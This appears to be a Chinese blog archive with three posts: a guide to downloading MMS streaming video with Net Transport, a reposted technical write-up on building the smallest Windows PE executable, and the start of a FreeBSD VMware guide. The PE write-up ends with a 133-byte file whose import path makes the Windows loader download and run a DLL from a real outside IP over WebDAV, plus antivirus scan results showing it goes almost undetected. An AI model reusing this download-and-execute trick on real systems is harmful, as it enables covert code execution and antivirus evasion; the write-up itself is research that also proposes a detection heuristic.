TwitterTwitter FacebookFacebook FlickrFlickr RSSRSS

20071020

下載MMS串流影片

 

 

 


 

下載 Net Transport 請您下載影音傳送帶 (Net Transport) 多國語版本

連結到影音傳送帶 (Net Transport)官方網站

影音傳送帶 (Net Transport) 是中國第一個實現 MMS、RTSP(PNM)、HTTP、HTTPS 和 FTP 的全能下載利器。流下載是它的主要特點,同時下載普通檔速度也堪稱一流,鮮有對手。目前支援的協定有:

* HTTP / HTTPS

* FTP / SSL (Secure Sockets Layer)

* MMS (Microsoft Media Service)

* RTSP (Real-Time Streaming Protocol)

* PNM (rename PNM to RTSP)

 

影音傳送帶續傳軟體的下載速度快,CPU佔用率低(尤其在寬帶上特別明顯),支持HTTP、FTP、MMS和RTSP等協定,操作簡單。 因為它不但具備FlashGet分割檔案多線程下載的技術, 並兼具StreamboxVcr或ASFRecorder等串流影音媒體專用下載工具的功能而且更有效率,對於現在網上的多種格式檔都能更快速更有效率的下載 ,以下是個人的使用心得分享,實不敢稱為教學謹提供您參考,敬請您不吝指教。

 

 

 

下載M

M

S串流影片

 

 

1

 

可以下載MMS串流影音媒體檔是Net Transport 能以一擋二的特有功能,下載的方法也很簡單。

1. 在線上播放的畫面上任何地方按一下滑鼠右鍵。

2. 在彈出的功能表上點選[內容]

2

 

1. 將媒體位置的網址圈選反白後,在反白的連結網址上按一下滑鼠右鍵。

2. 在彈出的功能表上點選[複製]將網址複製下來。

 

*************

假如[位置]內的網址是以asxram為附加檔名,那它只是一個播放清單檔案(大小只有1k),您必須下載後,用[記事本]來開啟asxram,把檔案內真正的連結網址複製下來。

**************

3

 

1. 在電腦螢幕Net Transport」圖示按一下滑鼠右鍵。

2. 在彈出的功能表上點選[加入下載工作]

4

1. Net Transport 會自動貼上已複製的MMS連結網址,若是MMS檔案名稱在內容視窗的不同位置,請一併複製下來貼在網址位置後面。

2. 若您需要為下載檔案分類請選擇分類目錄。

3. 按一下[確定]就可以開始下載檔案

 

有網友曾遇到下述的問題:

>請問一下,下面這個檔案要如何才能下載到硬碟? 
mms://media.go2school.com.tw/studio classroom/0503/0503-1_200k.wmv
可以用media player播放,但是無法下載到硬碟。
解決的方法是:(請參考下列附圖)
 1. 在彈出的功能表上點選[加入下載工作],出現[加入新的下載工作]的視窗後,
按一下[其它設定]。
 2. 按一下 [串流] 索引標籤。 
 3. 在 [MMS] 中勾選 [HTTP串流]前方的方框。 
 4. 按[確定]
經如上的簡單設定後,就可正常下載了。
 
>下列 http://ms1.so-nettv.com.tw/sonymusic/mv/nicholas/nicholas_mv01.wmv
這段網址取自於Sony Music的MTV,請問如何下載? 
解決的方法是:
將http改成mms就可下載了,也就是變成如下的網址。
mms://ms1.so-nettv.com.tw/sonymusic/mv/nicholas/nicholas_mv01.wmv
 












 

 

 

 

 

 

 

 

 

 


20071015

Tiny PE

Creating the smallest possible PE executable

Original link : http://www.phreedom.org/solar/code/tinype/


This work was inspired by the Tiny PE challenge by Gil Dabah. The object of the challenge was to write the smallest PE file that downloads a file from the Internet and executes it.

In the process of writing increasingly smaller PE files for the challenge I learned a lot of interesting details about the PE file format and the Windows loader. The goal of this document is to preserve this knowledge for future reference. In this, I have followed the example of the famous Whirlwind Tutorial on Creating Really Teensy ELF Executables for Linux.

Summary

If you are too busy to read the entire page, here is a summary of the results:

  • Smallest possible PE file: 97 bytes
  • Smallest possible PE file on Windows 2000: 133 bytes
  • Smallest PE file that downloads a file over WebDAV and executes it: 133 bytes

The files above are the smallest possible PE files due to requirements of the PE file format and cannot be improved further. Take this as a challenge if you wish ;-)

UPDATE: Many before me had made similar claims and just like them I turned out to be wrong. Thanks to Peter Ferrie for pointing out that you can remove the last field from the 137 byte file and bring the file size down to 133 bytes.

You can also download an archive with all source code and executables from this page:

For details about how these results were achieved, read below.

Smallest possible PE file

Our first task will be to build the smallest possible PE file that can be loaded and executed by Windows. We'll start with a simple C program:

Compiling a simple C program

int main()
{
return 42;
}

We'll compile and link this program with Visual Studio 2005:

cl /nologo /c tiny.c
link /nologo tiny.obj

The resulting file size is 45056 bytes. This is clearly unacceptable.

tiny.c | tiny.exe | dumpbin | Makefile

Removing the C Runtime Library

A very large part of the binary consists of the C Runtime Library. If we link the same program with the /NODEFAULTLIB option, we'll get a much smaller output file. We will also remove the console window from the program by setting the subsystem to Win32 GUI.

cl /nologo /c /O1 tiny.c
link /nologo /ENTRY:main /NODEFAULTLIB /SUBSYSTEM:WINDOWS tiny.obj

The /O1 compiler option optimizes the code for size. A disassembly of the .text section shows that main function was optimized down to 4 bytes:

00401000: 6A 2A              push        2Ah
00401002: 58 pop eax
00401003: C3 ret

The size of the PE file is now 1024 bytes.

tiny.c | tiny.exe | dumpbin | Makefile

Decreasing the file alignment

If we look at the dumpbin output for the 1024 byte file, we'll see that the file alignment is set to 512 bytes. The contents of the .text section start at offset 0x200 in the file. The space between the header and the .text section is filled with zeros.

The official PE specification states that the minimim file alignment is 512, but the Microsoft linker can produce PE files with smaller alignment. The Windows loader ignores the invalid alignment and is able to execute the file.

cl /c /O1 tiny.c
link /nologo /ENTRY:main /NODEFAULTLIB /SUBSYSTEM:WINDOWS /ALIGN:1 tiny.obj

The size of the PE file is now 468 bytes.

tiny.c | tiny.exe | dumpbin | Makefile

Switching to assembly and removing the DOS stub

To shrink the file even further, we need to be able to edit all fields in the PE header. We'll disassemble our 468 byte C program and convert it to assembly source that can be assembled with NASM. We'll use the following command to build our PE file:

nasm -f bin -o tiny.exe tiny.asm

The only change we'll make is to remove the DOS stub that prints the message This program cannot be run in DOS mode. PE files still need an MZ header, but the only two fields that are used are e_magic and e_lfanew. We can fill the rest of the MZ header with zeros. Similarly, there are many other unused fields in the PE header that can be modified without breaking the program. In the source code below they are highlighted in red.

For a detailed description of the PE file format, please refer to the official specification from Microsoft and Matt Pietrek's An In-Depth Look into the Win32 Portable Executable File Format: Part 1 and Part 2.

; tiny.asm

BITS 32

;
; MZ header
;
; The only two fields that matter are e_magic and e_lfanew

mzhdr:
dw "MZ" ; e_magic
dw 0 ; e_cblp UNUSED
dw 0 ; e_cp UNUSED
dw 0 ; e_crlc UNUSED
dw 0 ; e_cparhdr UNUSED
dw 0 ; e_minalloc UNUSED
dw 0 ; e_maxalloc UNUSED
dw 0 ; e_ss UNUSED
dw 0 ; e_sp UNUSED
dw 0 ; e_csum UNUSED
dw 0 ; e_ip UNUSED
dw 0 ; e_cs UNUSED
dw 0 ; e_lsarlc UNUSED
dw 0 ; e_ovno UNUSED
times 4 dw 0 ; e_res UNUSED
dw 0 ; e_oemid UNUSED
dw 0 ; e_oeminfo UNUSED
times 10 dw 0 ; e_res2 UNUSED
dd pesig ; e_lfanew

;
; PE signature
;

pesig:
dd "PE"

;
; PE header
;

pehdr:
dw 0x014C ; Machine (Intel 386)
dw 1 ; NumberOfSections
dd 0x4545BE5D ; TimeDateStamp UNUSED
dd 0 ; PointerToSymbolTable UNUSED
dd 0 ; NumberOfSymbols UNUSED
dw opthdrsize ; SizeOfOptionalHeader
dw 0x103 ; Characteristics (no relocations, executable, 32 bit)

;
; PE optional header
;

filealign equ 1
sectalign equ 1

%define round(n, r) (((n+(r-1))/r)*r)

opthdr:
dw 0x10B ; Magic (PE32)
db 8 ; MajorLinkerVersion UNUSED
db 0 ; MinorLinkerVersion UNUSED
dd round(codesize, filealign) ; SizeOfCode UNUSED
dd 0 ; SizeOfInitializedData UNUSED
dd 0 ; SizeOfUninitializedData UNUSED
dd start ; AddressOfEntryPoint
dd code ; BaseOfCode UNUSED
dd round(filesize, sectalign) ; BaseOfData UNUSED
dd 0x400000 ; ImageBase
dd sectalign ; SectionAlignment
dd filealign ; FileAlignment
dw 4 ; MajorOperatingSystemVersion UNUSED
dw 0 ; MinorOperatingSystemVersion UNUSED
dw 0 ; MajorImageVersion UNUSED
dw 0 ; MinorImageVersion UNUSED
dw 4 ; MajorSubsystemVersion
dw 0 ; MinorSubsystemVersion UNUSED
dd 0 ; Win32VersionValue UNUSED
dd round(filesize, sectalign) ; SizeOfImage
dd round(hdrsize, filealign) ; SizeOfHeaders
dd 0 ; CheckSum UNUSED
dw 2 ; Subsystem (Win32 GUI)
dw 0x400 ; DllCharacteristics UNUSED
dd 0x100000 ; SizeOfStackReserve UNUSED
dd 0x1000 ; SizeOfStackCommit
dd 0x100000 ; SizeOfHeapReserve
dd 0x1000 ; SizeOfHeapCommit UNUSED
dd 0 ; LoaderFlags UNUSED
dd 16 ; NumberOfRvaAndSizes UNUSED

;
; Data directories
;

times 16 dd 0, 0

opthdrsize equ $ - opthdr

;
; PE code section
;

db ".text", 0, 0, 0 ; Name
dd codesize ; VirtualSize
dd round(hdrsize, sectalign) ; VirtualAddress
dd round(codesize, filealign) ; SizeOfRawData
dd code ; PointerToRawData
dd 0 ; PointerToRelocations UNUSED
dd 0 ; PointerToLinenumbers UNUSED
dw 0 ; NumberOfRelocations UNUSED
dw 0 ; NumberOfLinenumbers UNUSED
dd 0x60000020 ; Characteristics (code, execute, read) UNUSED

hdrsize equ $ - $$

;
; PE code section data
;

align filealign, db 0

code:

; Entry point

start:
push byte 42
pop eax
ret

codesize equ $ - code

filesize equ $ - $$

To find out which fields are used and which can be freely modified, we used a simple asm fuzzer written in Ruby. It iterates through all header fields in the assembly source and replaces them with semi-random values. If the resulting program crashes or fails to return 42, we conclude that the field is in use.

The size of the assembled PE file is now 356 bytes.

tiny.asm | tiny.exe | dumpbin | Makefile

Collapsing the MZ header

The e_lfanew field in the MZ header contains the offset of the PE header from the beginning of the file. Usually the PE header begins after the MZ header and the DOS stub, but if we set e_lfanew to a value smaller than the 0x40, the PE header will start inside the MZ header. This allows us to merge some of the data of the MZ and PE headers and produce a smaller file.

The PE header cannot start at offset 0, because we need the first two bytes of the file to be "MZ". According to the PE specification, the PE header must be aligned on a 8 byte boundary, but the Windows loader requires only a 4 byte alignment. This means that the smallest possible value for e_lfanew is 4.

If the PE header starts at offset 4, most of it will overwrite unused fields in the MZ header. The only field we need to be careful with is e_lfanew, which is at the same offset as SectionAlignment. Since e_lfanew must be 4, we have to set SectionAlignment to 4 as well. The PE specification says that if the section alignment is less than the page size, the file alignment must have the same value, so we have to set both SectionAlignment and FileAlignment to 4. Fortunately the section data in our PE file is already aligned on a 4 byte boundary, so changing the file alignment from 1 to 4 doesn't increase the file size.

;
; MZ header
;
; The only two fields that matter are e_magic and e_lfanew

mzhdr:
dw "MZ" ; e_magic
dw 0 ; e_cblp UNUSED

;
; PE signature
;

pesig:
dd "PE" ; e_cp, e_crlc UNUSED ; PE signature

;
; PE header
;

pehdr:
dw 0x014C ; e_cparhdr UNUSED ; Machine (Intel 386)
dw 1 ; e_minalloc UNUSED ; NumberOfSections
dd 0x4545BE5D ; e_maxalloc, e_ss UNUSED ; TimeDateStamp UNUSED
dd 0 ; e_sp, e_csum UNUSED ; PointerToSymbolTable UNUSED
dd 0 ; e_ip, e_cs UNUSED ; NumberOfSymbols UNUSED
dw opthdrsize ; e_lsarlc UNUSED ; SizeOfOptionalHeader
dw 0x103 ; e_ovno UNUSED ; Characteristics

;
; PE optional header
;

filealign equ 4
sectalign equ 4 ; must be 4 because of e_lfanew

%define round(n, r) (((n+(r-1))/r)*r)

opthdr:
dw 0x10B ; e_res UNUSED ; Magic (PE32)
db 8 ; MajorLinkerVersion UNUSED
db 0 ; MinorLinkerVersion UNUSED
dd round(codesize, filealign) ; SizeOfCode UNUSED
dd 0 ; e_oemid, e_oeminfo UNUSED ; SizeOfInitializedData UNUSED
dd 0 ; e_res2 UNUSED ; SizeOfUninitializedData UNUSED
dd start ; AddressOfEntryPoint
dd code ; BaseOfCode UNUSED
dd round(filesize, sectalign) ; BaseOfData UNUSED
dd 0x400000 ; ImageBase
dd sectalign ; e_lfanew ; SectionAlignment

Collapsing the MZ header reduces the file size to 296 bytes.

tiny.asm | tiny.exe | dumpbin | Makefile

Removing the data directories

The data directories at the end of the PE optional header usually contain pointers to the import and export tables, debugging information, relocations and other OS specific data. Our PE file doesn't use any of these features and its data directories are empty. If we can remove the data directories from the file, we'll save a lot of space.

The PE specification says that the number of data directories is specified in the NumberOfRvaAndSizes header field and the size of the PE optional header is variable. If we set NumberOfRvaAndSizes to 0 and decrease SizeOfOptionalHeader, we can remove the data directories from the file.

    dd 0                                      ; NumberOfRvaAndSizes

Most functions that read the data directories check if NumberOfRvaAndSizes is large enough to avoid accessing invalid memory. The only exception is the Debug directory on Windows XP. If the size of the Debug directory is not 0, regardless of NumberOfRvaAndSizes, the loader will crash with an access violation in ntdll!LdrpCheckForSecuROMImage. We need to ensure that the dword at offset 0x94 from the beginning of the optional header is always 0. In our PE file this address is outside the memory mapped file and is zeroed by the OS.

The size of the PE file is only 168 bytes, a significant improvement.

tiny.asm | tiny.exe | dumpbin | Makefile

Collapsing the PE section header

The Windows loader expects to find the PE section headers after the optional header. It calculates the address of the first section header by adding SizeOfOptionalHeader to the beginning of the optional header. However, the code that accesses the fields of the optional header never checks its size. We can set SizeOfOptionalHeader to a value smaller than the real size, and move the PE section into the unused space in the optional header. This is illustrated by the code below:

    dw sections-opthdr ; e_lsarlc UNUSED      ; SizeOfOptionalHeader
dw 0x103 ; e_ovno UNUSED ; Characteristics

;
; PE optional header
;
; The debug directory size at offset 0x94 from here must be 0

filealign equ 4
sectalign equ 4 ; must be 4 because of e_lfanew

%define round(n, r) (((n+(r-1))/r)*r)

opthdr:
dw 0x10B ; e_res UNUSED ; Magic (PE32)
db 8 ; MajorLinkerVersion UNUSED
db 0 ; MinorLinkerVersion UNUSED

;
; PE code section
;

sections:
dd round(codesize, filealign) ; SizeOfCode UNUSED ; Name UNUSED
dd 0 ; e_oemid, e_oeminfo UNUSED ; SizeOfInitializedData UNUSED
dd codesize ; e_res2 UNUSED ; SizeOfUninitializedData UNUSED ; VirtualSize
dd start ; AddressOfEntryPoint ; VirtualAddress
dd codesize ; BaseOfCode UNUSED ; SizeOfRawData
dd start ; BaseOfData UNUSED ; PointerToRawData
dd 0x400000 ; ImageBase ; PointerToRelocations UNUSED
dd sectalign ; e_lfanew ; SectionAlignment ; PointerToLinenumbers UNUSED
dd filealign ; FileAlignment ; NumberOfRelocations, NumberOfLinenumbers UNUSED
dw 4 ; MajorOperatingSystemVersion UNUSED ; Characteristics UNUSED
dw 0 ; MinorOperatingSystemVersion UNUSED
dw 0 ; MajorImageVersion UNUSED
dw 0 ; MinorImageVersion UNUSED
dw 4 ; MajorSubsystemVersion
dw 0 ; MinorSubsystemVersion UNUSED
dd 0 ; Win32VersionValue UNUSED
dd round(filesize, sectalign) ; SizeOfImage
dd round(hdrsize, filealign) ; SizeOfHeaders
dd 0 ; CheckSum UNUSED
dw 2 ; Subsystem (Win32 GUI)
dw 0x400 ; DllCharacteristics UNUSED
dd 0x100000 ; SizeOfStackReserve
dd 0x1000 ; SizeOfStackCommit
dd 0x100000 ; SizeOfHeapReserve
dd 0x1000 ; SizeOfHeapCommit UNUSED
dd 0 ; LoaderFlags UNUSED
dd 0 ; NumberOfRvaAndSizes UNUSED

hdrsize equ $ - $$

;
; PE code section data
;

align filealign, db 0

; Entry point

start:
push byte 42
pop eax
ret

codesize equ $ - start

filesize equ $ - $$

This kind of header mangling causes dumpbin to crash, but the WinDbg !dh command can still parse the header correctly. The size of the PE file is now 128 bytes.

tiny.asm | tiny.exe | Makefile

The smallest possible PE file

The next step is obvious: we can move the 4 bytes of code into one of the unused fields of the header, such as the TimeDateStamp field. This leaves the end of optional header at the end of the PE file. It looks like we can't reduce the file size any further, because the PE header starts at the smallest possible offset and has a fixed size. It is followed by the PE optional header, which also starts at the smallest offset possible. All other data in the file is contained within these two headers.

Yet there is one more thing we can do. The PE file is mapped on a 4KB memory page. Since the file is smaller than 4KB, the rest of the page is filled with zeros. If we remove the last few fields of the PE optional header from the file, the end of the structure will be mapped on a readable page of memory containing zeros. 0 is a valid value for the last seven fields of the optional header, allowing us to remove them and save another 26 bytes.

The last word in the file is the Subsystem field, which must be 2. Since Intel is a little-endian architecture, the first byte of the word is 2 and the second one is 0. We can store the field as a single byte in the file and save an additional byte from the file size.

The full source code of the final PE file is given below:

; tiny.asm

BITS 32

;
; MZ header
;
; The only two fields that matter are e_magic and e_lfanew

mzhdr:
dw "MZ" ; e_magic
dw 0 ; e_cblp UNUSED

;
; PE signature
;

pesig:
dd "PE" ; e_cp, e_crlc UNUSED ; PE signature

;
; PE header
;

pehdr:
dw 0x014C ; e_cparhdr UNUSED ; Machine (Intel 386)
dw 1 ; e_minalloc UNUSED ; NumberOfSections

; dd 0xC3582A6A ; e_maxalloc, e_ss UNUSED ; TimeDateStamp UNUSED

; Entry point

start:
push byte 42
pop eax
ret

codesize equ $ - start

dd 0 ; e_sp, e_csum UNUSED ; PointerToSymbolTable UNUSED
dd 0 ; e_ip, e_cs UNUSED ; NumberOfSymbols UNUSED
dw sections-opthdr ; e_lsarlc UNUSED ; SizeOfOptionalHeader
dw 0x103 ; e_ovno UNUSED ; Characteristics

;
; PE optional header
;
; The debug directory size at offset 0x94 from here must be 0

filealign equ 4
sectalign equ 4 ; must be 4 because of e_lfanew

%define round(n, r) (((n+(r-1))/r)*r)

opthdr:
dw 0x10B ; e_res UNUSED ; Magic (PE32)
db 8 ; MajorLinkerVersion UNUSED
db 0 ; MinorLinkerVersion UNUSED

;
; PE code section
;

sections:
dd round(codesize, filealign) ; SizeOfCode UNUSED ; Name UNUSED
dd 0 ; e_oemid, e_oeminfo UNUSED ; SizeOfInitializedData UNUSED
dd codesize ; e_res2 UNUSED ; SizeOfUninitializedData UNUSED ; VirtualSize
dd start ; AddressOfEntryPoint ; VirtualAddress
dd codesize ; BaseOfCode UNUSED ; SizeOfRawData
dd start ; BaseOfData UNUSED ; PointerToRawData
dd 0x400000 ; ImageBase ; PointerToRelocations UNUSED
dd sectalign ; e_lfanew ; SectionAlignment ; PointerToLinenumbers UNUSED
dd filealign ; FileAlignment ; NumberOfRelocations, NumberOfLinenumbers UNUSED
dw 4 ; MajorOperatingSystemVersion UNUSED ; Characteristics UNUSED
dw 0 ; MinorOperatingSystemVersion UNUSED
dw 0 ; MajorImageVersion UNUSED
dw 0 ; MinorImageVersion UNUSED
dw 4 ; MajorSubsystemVersion
dw 0 ; MinorSubsystemVersion UNUSED
dd 0 ; Win32VersionValue UNUSED
dd round(hdrsize, sectalign)+round(codesize,sectalign) ; SizeOfImage
dd round(hdrsize, filealign) ; SizeOfHeaders
dd 0 ; CheckSum UNUSED
db 2 ; Subsystem (Win32 GUI)

hdrsize equ $ - $$

filesize equ $ - $$

Now we have really reached the limit. The field at offset 0x94 from the beginning of the file is Subsystem, which must be set to 2. We cannot remove this field or get around it. This must be the smallest possible PE file.

The size of the PE file is an incredible 97 bytes.

tiny.asm | tiny.exe | Makefile

Smallest PE file with imports

Unfortunately the 97 byte PE file does not work on Windows 2000. This is because the loader tries to call a function from KERNEL32, but KERNEL32.DLL is not loaded. All other versions of Windows load it automatically, but on Windows 2000 we have to make sure that KERNEL32.DLL is listed in the import table of the executable. Executing a PE file with no imports is not possible.

Adding an import table

The structure of the import table is complicated, but adding a single ordinal import from KERNEL32 is relatively simple. We need to put the name of the DLL we want to import in the Name field and create two identical arrays of IMAGE_THUNK_DATA structures, one for the Import Lookup Table and another one for the Import Address Table. When the loader resolves the imports, it will read the ordinal from the lookup table and replace the entry in the address table with the function address.

    dd 2                                      ; NumberOfRvaAndSizes

;
; Data directories
;
; The debug directory size at offset 0x34 from here must be 0

dd 0 ; Export Table UNUSED
dd 0
dd idata ; Import Table
dd idatasize

hdrsize equ $ - $$

; Import table (array of IMAGE_IMPORT_DESCRIPTOR structures)

idata:
dd ilt ; OriginalFirstThunk UNUSED
dd 0 ; TimeDateStamp UNUSED
dd 0 ; ForwarderChain UNUSED
dd kernel32 ; Name
dd iat ; FirstThunk

; empty IMAGE_IMPORT_DESCRIPTOR structure

dd 0 ; OriginalFirstThunk UNUSED
dd 0 ; TimeDateStamp UNUSED
dd 0 ; ForwarderChain UNUSED
dd 0 ; Name UNUSED
dd 0 ; FirstThunk

idatasize equ $ - idata

; Import address table (array of IMAGE_THUNK_DATA structures)

iat:
dd 0x80000001 ; Import function 1 by ordinal
dd 0

; Import lookup table (array of IMAGE_THUNK_DATA structures)

ilt:
dd 0x80000001 ; Import function 1 by ordinal
dd 0

kernel32:
db "KERNEL32.dll", 0

codesize equ $ - start

filesize equ $ - $$

With a single ordinal import the size of our PE file incresed to 209 bytes.

tiny.asm | tiny.exe | Makefile

Collapsing the import table

209 bytes are obivousely too much for a single imported function, so let's see how we can make the file smaller. The first thing we'll do is to remove the Import Lookup Table. This table is a copy of the IAT and doesn't seem to be used by the linker. Removing it will save us 8 bytes.

The import table is 40 bytes long, but only three of the fields in it are used. This allows us to collapse the import table into the PE optional header.

;
; Import table (array of IMAGE_IMPORT_DESCRIPTOR structures)
;

idata:
dd 0x400000 ; ImageBase ; PointerToRelocations UNUSED ; OriginalFirstThunk UNUSED
dd sectalign ; e_lfanew ; SectionAlignment ; PointerToLinenumbers UNUSED ; TimeDateStamp UNUSED
dd filealign ; FileAlignment ; NumberOfRelocations UNUSED ; ForwarderChain UNUSED
; NumberOfLinenumbers UNUSED
dd kernel32 ; MajorOperatingSystemVersion UNUSED ; Characteristics UNUSED ; Name
; MinorOperatingSystemVersion UNUSED ; FirstThunk
dd iat ; MajoirImageVersion UNUSED
; MinorImageVersion UNUSED
dw 4 ; MajorSubsystemVersion ; OriginalFirstThunk UNUSED
dw 0 ; MinorSubsystemVersion UNUSED
dd 0 ; Win32VersionValue UNUSED ; TimeDateStamp UNUSED
dd round(hdrsize, sectalign)+round(codesize,sectalign) ; SizeOfImage ; ForwarderChain UNUSED
dd round(hdrsize, filealign) ; SizeOfHeaders ; Name UNUSED
dd 0 ; CheckSum UNUSED ; FirstThunk

idatasize equ $ - idata

dw 2 ; Subsystem (Win32 GUI)
dw 0 ; DllCharacteristics UNUSED
dd 0 ; SizeOfStackReserve
dd 0 ; SizeOfStackCommit
dd 0 ; SizeOfHeapReserve
dd 0 ; SizeOfHeapCommit
dd 0 ; LoaderFlags UNUSED
dd 2 ; NumberOfRvaAndSizes

The PE file is now 161 bytes.

tiny.asm | tiny.exe | Makefile

Collapsing the IAT and the DLL name

The last two structures left outside of the PE header are the IAT and the name of the imported DLL. We can collapse the IAT into the unused 8-byte Name field of the PE section header. The DLL name can be stored in the unused fields at the end of the PE optional header and in the 8 bytes of the export data directory. There is enough space for 15 characters and a null terminator for the name.

The last field in the data directory is the size of the import table, but the size isn't really used by the loader and can be set to 0. The last three bytes of the import table pointer are also 0, because the pointer is stored as a little-endian dword. We can remove all the zero bytes from the end of the file, just like we did with the 97 byte PE file above.

The full source code of the final PE file is given below:

; tiny.asm

BITS 32

;
; MZ header
;
; The only two fields that matter are e_magic and e_lfanew

mzhdr:
dw "MZ" ; e_magic
dw 0 ; e_cblp UNUSED

;
; PE signature
;

pesig:
dd "PE" ; e_cp UNUSED ; PE signature
; e_crlc UNUSED

;
; PE header
;

pehdr:
dw 0x014C ; e_cparhdr UNUSED ; Machine (Intel 386)
dw 1 ; e_minalloc UNUSED ; NumberOfSections

; dd 0xC3582A6A ; e_maxalloc UNUSED ; TimeDateStamp UNUSED
; ; e_ss UNUSED

; Entry point

start:
push byte 42
pop eax
ret

dd 0 ; e_sp UNUSED ; PointerToSymbolTable UNUSED
; e_csum UNUSED
dd 0 ; e_ip UNUSED ; NumberOfSymbols UNUSED
; e_cs UNUSED
dw sections-opthdr ; e_lsarlc UNUSED ; SizeOfOptionalHeader
dw 0x103 ; e_ovno UNUSED ; Characteristics

;
; PE optional header
;
; The debug directory size at offset 0x94 from here must be 0

filealign equ 4
sectalign equ 4 ; must be 4 because of e_lfanew

%define round(n, r) (((n+(r-1))/r)*r)

opthdr:
dw 0x10B ; e_res UNUSED ; Magic (PE32)
db 8 ; MajorLinkerVersion UNUSED
db 0 ; MinorLinkerVersion UNUSED

;
; PE code section and IAT
;

sections:
iat:
dd 0x80000001 ; SizeOfCode UNUSED ; Name UNUSED ; Import function 1 by ordinal
dd 0 ; e_oemid UNUSED ; SizeOfInitializedData UNUSED ; end of IAT
; e_oeminfo UNUSED
dd codesize ; e_res2 UNUSED ; SizeOfUninitializedData UNUSED ; VirtualSize
dd start ; AddressOfEntryPoint ; VirtualAddress
dd codesize ; BaseOfCode UNUSED ; SizeOfRawData
dd start ; BaseOfData UNUSED ; PointerToRawData

;
; Import table (array of IMAGE_IMPORT_DESCRIPTOR structures)
;

idata:
dd 0x400000 ; ImageBase ; PointerToRelocations UNUSED ; OriginalFirstThunk UNUSED
dd sectalign ; e_lfanew ; SectionAlignment ; PointerToLinenumbers UNUSED ; TimeDateStamp UNUSED
dd filealign ; FileAlignment ; NumberOfRelocations UNUSED ; ForwarderChain UNUSED
; NumberOfLinenumbers UNUSED
dd kernel32 ; MajorOperatingSystemVersion UNUSED ; Characteristics UNUSED ; Name
; MinorOperatingSystemVersion UNUSED ; FirstThunk
dd iat ; MajoirImageVersion UNUSED
; MinorImageVersion UNUSED
dw 4 ; MajorSubsystemVersion ; OriginalFirstThunk UNUSED
dw 0 ; MinorSubsystemVersion UNUSED
dd 0 ; Win32VersionValue UNUSED ; TimeDateStamp UNUSED
dd round(hdrsize, sectalign)+round(codesize,sectalign) ; SizeOfImage ; ForwarderChain UNUSED
dd round(hdrsize, filealign) ; SizeOfHeaders ; Name UNUSED
dd 0 ; CheckSum UNUSED ; FirstThunk

idatasize equ $ - idata

dw 2 ; Subsystem (Win32 GUI)
dw 0 ; DllCharacteristics UNUSED
dd 0 ; SizeOfStackReserve
dd 0 ; SizeOfStackCommit
dd 0 ; SizeOfHeapReserve
dd 0 ; SizeOfHeapCommit
; dd 0 ; LoaderFlags UNUSED
; dd 2 ; NumberOfRvaAndSizes

;
; The DLL name should be at most 16 bytes, including the null terminator
;

kernel32:
db "KERNEL32.dll", 0

times 16-($-kernel32) db 0

;
; Data directories
;
; The debug directory size at offset 0x34 from here must be 0

; dd 0 ; Export Table UNUSED
; dd 0

db idata - $$ ; Import Table

hdrsize equ $ - $$

codesize equ $ - start

filesize equ $ - $$

This brings the final file size to 133 bytes.

tiny.asm | tiny.exe | Makefile

Smallest PE file that downloads a file from the Internet

The goal of the Tiny PE challenge was to write the smallest PE file that downloads a file from the Internet and executes it. The standard technique for this is to call URLDownloadToFileA and then WinExec to execute the file. There are many examples of shellcode that uses this API, but it requires us to load URLMON.DLL and call multiple functions, which would increase the size of our PE file significantly.

A less known feature of Windows XP is the WebDAV Mini-Redirector. It translates UNC paths used by all Windows applications to URLs and tries to access them over the WebDAV protocol. This means that we can pass a UNC path to WinExec and the redirector will attempt to download the specified file over WebDAV on port 80.

Even more interesting is the fact that you can specify a UNC path in the import section of the PE file. If we specify \66.93.68.6z as the name of the imported DLL, the Windows loader will try to download the DLL file from our web server.

This allows us to create a PE file that downloads and excutes a file from the Internet without executing a single line of code. All we have to do is put our payload in the DllMain function in the DLL, put the DLL on a publicly accessible WebDAV server and specify the UNC path to the file in the imports section of the PE file. When the loader processes the imports of the PE file, it will load the DLL from the WebDAV server and execute its DllMain function.

;
; The DLL name should be at most 16 bytes, including the null terminator
;

dllname:
db "\66.93.68.6z", 0
times 16-($-dllname) db 0

The size of the PE file with a UNC import is still only 133 bytes.

WARNING: The PE file linked below is live. It will attempt to download and execute a payload DLL from http://66.93.68.6/z. The DLL will display a message box and exit, but you should take proper precautions and treat it as untrusted code.

tiny.asm | tiny.exe | Makefile

Setting up Apache or IIS as WebDAV servers is not complicated, but for development purposes you can use the following Ruby script. It will serve as minimial WebDAV server with just enough functionality for the attack to work:

webdav.rb

The payload DLL and its source are also available:

payload.c | payload.dll | test.c | tiny.exe | Makefile

VirusTotal Results

Scanning the 133 byte PE file that downloads a DLL over WebDAV with common anti-virus software shows that the rate of detection is very low. My suggestion to AV vendors is to start using the presense of UNC imports as a malware heuristic.

Complete scanning result of "tiny.exe", received in VirusTotal at 11.08.2006, 07:14:08 (CET).

AntivirusVersionUpdateResult
AntiVir7.2.0.3911.07.2006no virus found
Authentium4.93.811.07.2006no virus found
Avast4.7.892.011.07.2006no virus found
AVG38611.07.2006no virus found
BitDefender7.211.08.2006no virus found
CAT-QuickHeal8.0011.07.2006(Suspicious) - DNAScan
ClamAVdevel-2006042611.07.2006no virus found
DrWeb4.3311.08.2006no virus found
eTrust-InoculateIT23.73.4911.08.2006no virus found
eTrust-Vet30.3.318111.07.2006no virus found
Ewido4.011.07.2006no virus found
Fortinet2.82.0.011.08.2006no virus found
F-Prot3.16f11.07.2006no virus found
F-Prot44.2.1.2911.07.2006no virus found
Ikarus0.2.65.011.07.2006no virus found
Kaspersky4.0.2.2411.08.2006no virus found
McAfee489011.07.2006no virus found
Microsoft1.1609 11.08.2006no virus found
NOD32v21.185811.07.2006no virus found
Norman5.80.0211.07.2006no virus found
Panda9.0.0.411.07.2006no virus found
Sophos4.11.011.07.2006no virus found
TheHacker6.0.1.11411.08.2006no virus found
UNA1.8311.07.2006no virus found
VBA323.11.111.07.2006no virus found
VirusBuster4.3.15:911.07.2006no virus found
Additional Information
File size: 133 bytes
MD5: a6d732dd4b460000151a5f3cb448a4be
SHA1: 3bdd0363204f3db7d0e15af2a64081ce04e57533

FreeBSD 5.1安裝 VMware 的全部過程
來源:it168.com 時間:2006-3-8 作者:佚名


這篇文章描述了在 FreeBSD 5.1-Release 安裝 VMware 的全部過程。FreeBSD 5.1 支持安裝 VMware 的 3.2.1-2237 版本,但是其最新版本已經 3.2.1-2242 版本,因此在使用系統的 ports collection 安裝時會出現一些問題,在本文中將對這些問題進行解決。

